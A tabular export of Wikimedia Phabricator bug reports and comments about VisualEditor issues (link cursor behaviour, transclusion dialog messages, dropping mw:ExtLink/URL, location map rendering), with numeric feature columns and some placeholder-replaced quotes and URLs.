**Severity**: minor",Low,25.0,1372938780,1701797038.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-wvxangmpnag4krm3mcnl,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,11.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,4.016393442622951,0.7540983606557377,"If you Ctrl+Click a link in the VE, it'll open (discovered through trial and error). Presumably the cursor when hovering over links while Ctrl is depressed should be the hand icon, rather than the typing icon.

--------------------------
**Version**: unspecified
**Severity**: minor"
2241893,"VisualEditor: Show a different cursor when Ctrl (Cmd on Mac) is held down, as the interaction will be different",Browsers do this automatically now (tested Chrome + FF).,,,1701797038,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvxangmpnag4krm3mcnl,task_subcomment,,True,c1,3,True,,,544,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Browsers do this automatically now (tested Chrome + FF).
52735,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Screenshot

See screenshot; not sure this is how it's meant to look, but it's how it looks. If there are no unused parameters it seems like the box notifying you of such should overwrite, rather than sit under, the search box - that's unnecessary functionality if all available parameters exist.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54094

**Attached**: {F11039}",Low,25.0,1372936920,1724097630.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-d6zgk46zgybexfzzc4pr,task_description,resolved,True,c1,3,False,False,False,0,,1.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,3.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,6.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.6530612244897958,0.6326530612244898,"Screenshot

See screenshot; not sure this is how it's meant to look, but it's how it looks. If there are no unused parameters it seems like the box notifying you of such should overwrite, rather than sit under, the search box - that's unnecessary functionality if all available parameters exist.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11039}"
2398633,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?",This interface has been replaced as a part of <https://meta.wikimedia.org/wiki/WMDE_Technical_Wishes/VisualEditor_template_dialog_improvements>.,,,1724097630,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,581,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,3.727272727272727,1.0,This interface has been replaced as a part of <URL
1655480,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","This is still an issue, although now the message reads ""No unused fields"".
{F34066618}",,,1611947721,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,395,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,5.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.9523809523809523,"This is still an issue, although now the message reads ""No unused fields"".
{F34066618}"
232003,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Just noting that bug 54094 (which was marked as a duplicate) is about the ""Unknown parameter"" message which appears (briefly) after the user has typed in '1'/'2' but not pressed enter yet.

(In reply to comment #5)
> Yes, ""No more known parameters"" would work. 
> 
> Not essential, but if it's not too much work, including a link to an
> explanation (that there may be unknown parameters and that these can be used)
> and/or the template documentation (if there isn't one provided elsewhere on
> that view) would be good. Obviously both should open in a new window/tab.

That is essentially bug 49772.",,,1382338192,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,14.0,1.0,1.0,9.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,0.0,10.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5217391304347827,0.6811594202898551,"Just noting that bug 54094 (which was marked as a duplicate) is about the ""Unknown parameter"" message which appears (briefly) after the user has typed in '1'/'2' but not pressed enter yet.

(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is essentially bug 49772."
231995,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?",*** Bug 54094 has been marked as a duplicate of this bug. ***,,,1381342230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54094 has been marked as a duplicate of this bug. ***
231987,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Yes, ""No more known parameters"" would work. 

Not essential, but if it's not too much work, including a link to an explanation (that there may be unknown parameters and that these can be used) and/or the template documentation (if there isn't one provided elsewhere on that view) would be good. Obviously both should open in a new window/tab.",,,1377907592,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.0,1.0,4.0,7.0,3.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,1.0,9.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,3.8,0.7733333333333333,"Yes, ""No more known parameters"" would work. 

Not essential, but if it's not too much work, including a link to an explanation (that there may be unknown parameters and that these can be used) and/or the template documentation (if there isn't one provided elsewhere on that view) would be good. Obviously both should open in a new window/tab."
231981,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Urk. Tis true. In particular, I'm thinking of scenarios where you have an infinite number of parameters (templates that merely order and format a set of inputted data, for example). ""No more known parameters"" would work.",,,1377906608,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,11.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,2.0,0.0,0.0,3.9361702127659575,0.8297872340425532,"Urk. Tis true. In particular, I'm thinking of scenarios where you have an infinite number of parameters (templates that merely order and format a set of inputted data, for example). ""No more known parameters"" would work."
231975,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","(In reply to comment #2)
> Possibly? Offering people the ability to do something when the system knows
> it won't end in what they want probably isn't the direction we want to be
> going in, however.

But the system doesn't 'know' that. TemplateData is hinting, not a binding-contract-of-doom. It's (intentionally) possible to add parameters that aren't in the hinting, because the hinting is out-of-date or doesn't cover this ""secret"" parameter, or because the name of your parameter is generated (e.g. {{CURRENTDAY}}=Easter Egg! or something more useful). Remember that there's almost no end to the level of flexibility that WT allows users…",,,1377905124,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,8,,0.0,1.0,0.0,1.0,2.5,2.5,1.5,1.5,0.0,0.0,2.0,3.0,0.0,1.0,1.0,0.0,0.0,6.5,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.5,0.5,3.5,1.0,0.0,0.0,2.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,1.0,11.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.0,4.0,3.0,7.0,2.5,3.0,6.0,0.0,0.0,1.0,0.5,3.5,0.0,0.5,0.0,1.5,9.0,3.5,0.0,3.0,0.0,1.5,0.0,1.5,0.5,0.0,1.0,1.0,0.0,0.0,3.7014411027568923,0.7526629072681704,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

But the system doesn't 'know' that. TemplateData is hinting, not a binding-contract-of-doom. It's (intentionally) possible to add parameters that aren't in the hinting, because the hinting is out-of-date or doesn't cover this ""secret"" parameter, or because the name of your parameter is generated (e.g. {{CURRENTDAY}}=Easter Egg! or something more useful). Remember that there's almost no end to the level of flexibility that WT allows users…"
231967,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Possibly? Offering people the ability to do something when the system knows it won't end in what they want probably isn't the direction we want to be going in, however.",,,1377904852,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,8,,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,17.0,11.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,11.0,0.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9714285714285715,0.8285714285714286,"Possibly? Offering people the ability to do something when the system knows it won't end in what they want probably isn't the direction we want to be going in, however."
231960,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Possibly we could say ""No known parameters"" and ""No more known parameters"" to make it clearer?",,,1377904599,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.761904761904762,0.7142857142857143,"Possibly we could say ""No known parameters"" and ""No more known parameters"" to make it clearer?"
52734,VisualEditor: Drop mw:ExtLink/URL,"Since Parsoid has dropped it in bug 46027

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1372936500,1373310499.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-6lutt2i5yzl6odq5e46s,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,0.6538461538461539,"Since Parsoid has dropped it in bug 46027

--------------------------
**Version**: unspecified
**Severity**: normal"
231914,VisualEditor: Drop mw:ExtLink/URL,"Change 71974 merged by jenkins-bot:
Drop mw:ExtLink/URL support

https://gerrit.wikimedia.org/r/71974",,,1373310810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lutt2i5yzl6odq5e46s,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9444444444444444,"Change 71974 merged by jenkins-bot:
Drop mw:ExtLink/URL support

GERRIT_URL"
231909,VisualEditor: Drop mw:ExtLink/URL,"Change 71974 had a related patch set uploaded by Esanders:
Drop mw:ExtLink/URL support

https://gerrit.wikimedia.org/r/71974",,,1372936758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lutt2i5yzl6odq5e46s,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9523809523809523,"Change 71974 had a related patch set uploaded by Esanders:
Drop mw:ExtLink/URL support

GERRIT_URL"
52714,VisualEditor: Location map template does not display correctly,"**Author:** `lunarjam.mcgahan`

**Description:**
MS Word document describing and illustrating the bug

See attached document. O/S is iOS 6.1.3

--------------------------
**Version**: unspecified
**Severity**: minor
**OS**: other

**Attached**: {F11914}",Low,25.0,1372904400,1525739028.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-uejijc4imv5i4n5hfjzf,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,19.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.25,0.5294117647058824,"**Author:** CODE

**Description:**
MS Word document describing and illustrating the bug

See attached document. O/S is iOS 6.1.3

--------------------------
**Version**: unspecified
**Severity**: minor
**OS**: other

**Attached**: {F11914}"
1064315,VisualEditor: Location map template does not display correctly,"I checked the links that were given as examples to illustrate the problem - it does not seem that the issue is present anymore in wmf.2. 

Also, I checked how the specific example (given in the ticket description) renders in iPad  - both in Chrome emulator and on real device - the issue is not present anymore. 
(btw, there is a typo in the template code - should be `E` not `N` - I pasted the sample without correcting it to document the issue in its original form) 
```
{{Location map|South Australia|label=Macumba Station
  |position=left
  |lat_deg=27.25082|lat_dir=S
  |lon_deg=135.6533|lon_dir=N
  |caption=Location in South Australia}}
```
I am closing the ticket - if there are still some problems it'd be a good idea to create a new specific task.  ",,,1525739028,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,253,,1.0,0.0,0.0,0.5,2.0,5.0,2.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.5,2.5,1.0,5.5,8.5,0.0,2.0,1.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,4.5,1.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,8.5,5.5,6.0,2.0,0.5,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.5,8.5,2.5,0.0,0.0,0.0,5.5,0.0,1.0,2.5,0.0,1.5,0.0,0.0,0.0,3.6363636363636367,0.696969696969697,"I checked the links that were given as examples to illustrate the problem - it does not seem that the issue is present anymore in wmf.2. 

Also, I checked how the specific example (given in the ticket description) renders in iPad  - both in Chrome emulator and on real device - the issue is not present anymore. 
(btw, there is a typo in the template code - should be CODE not CODE - I pasted the sample without correcting it to document the issue in its original form) 
``CODE``
I am closing the ticket - if there are still some problems it'd be a good idea to create a new specific task.  "
574751,VisualEditor: Location map template does not display correctly,">>! In T52714#589573, @TheDJ wrote:
> the technology of absolute positioning that is use by these templates and replace them with something more sustainable.

Split to T120809",,,1449570666,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,127,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"QUOTE
QUOTE

Split to T120809"
255720,VisualEditor: Location map template does not display correctly,"Link to a few other templates that run into trouble due to this problem.

https://en.wikipedia.org/wiki/Template:Chess_diagram
https://en.wikipedia.org/wiki/Template:Quote_box (with curly quotes option on)",,,1385032387,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.9230769230769231,"Link to a few other templates that run into trouble due to this problem.

URL
URL (with curly quotes option on)"
255718,VisualEditor: Location map template does not display correctly,"Yes, exactly, the elements themselves. The HTML DOM elements. Not the pretty picture that translates into, nor the ugly wikicode language that generates them.",,,1384946588,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,17.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.5,0.7333333333333333,"Yes, exactly, the elements themselves. The HTML DOM elements. Not the pretty picture that translates into, nor the ugly wikicode language that generates them."
255715,VisualEditor: Location map template does not display correctly,"**Wikifram** wrote:

(In reply to comment #14)
> And i'm slightly offended by your attack on me as a person. A volunteer who
> probably spends more time on en.wp than doing development.

I haven't attacked you as a person, for all I know you may be a wonderful person. I have attacked your comment as a developer here, and what I see as the mindset of many developers here when working as a developer. 

(In reply to comment #14)
> > are so wrong that I feel it may be hard to explain to you what is the problem with it.
> 
> I think you assumed that I meant the elements/templates themselves. You
> assumed
> incorrect.

I didn't ""assume"" anything, I read what you wrote: ""Ideally, we would
just get rid of absolute positioned elements"". Usually, when people write ""get rid of elements"", they mean ""the elements themselves"", not ""keep the elements but get rid of the technology used"". Don't blame your errors on others please. I have no problem with someone correcting his position or retracting earlier statements, and I'm not the type to claim for all eternity that you want to get rid of these elements if you clarify that that was not what you intended; but then just state that what you said was not what you meant, not that the problem lies with the reader who ""assumed"" something incorrectly.",,,1384945064,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,20,,1.0,1.3333333333333333,0.0,0.0,3.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,1.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.0,6.666666666666667,9.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.333333333333333,2.3333333333333335,0.0,4.0,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,3.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,7.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,1.0,0.0,0.0,4.0,1.3333333333333333,7.333333333333333,2.3333333333333335,2.0,6.0,0.0,0.0,0.0,0.6666666666666666,4.333333333333333,0.0,0.6666666666666666,0.0,8.0,9.0,1.3333333333333333,0.0,4.333333333333333,0.0,8.0,0.0,3.3333333333333335,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,3.6153846153846154,0.6068376068376069,"**Wikifram** wrote:

(In reply to comment #14)
QUOTE
QUOTE

I haven't attacked you as a person, for all I know you may be a wonderful person. I have attacked your comment as a developer here, and what I see as the mindset of many developers here when working as a developer. 

(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I didn't ""assume"" anything, I read what you wrote: ""Ideally, we would
